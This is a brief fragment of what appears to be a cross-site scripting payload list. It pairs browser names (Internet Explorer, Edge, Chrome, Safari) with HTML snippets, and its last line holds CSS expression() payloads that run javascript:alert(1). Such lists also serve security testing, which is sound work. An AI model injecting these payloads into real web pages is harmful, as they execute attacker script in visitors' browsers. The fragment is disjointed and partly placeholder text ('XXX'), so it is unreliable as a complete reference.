XXX
XXX
- MSIE10/11 & Edge
- MSIE10
- MSIE11
- Chrome, Opera, Safari
<style>@keyframes x{}</style>
- Chrome, Opera, Safari
<style> div {width: 100px;} div:target {width: 200px;} </style>
- Safari
<iframe src=x>
<// style=x:expression\28javascript:alert(1)\29> <style>*{x:expression(javascript:alert(1))}</style>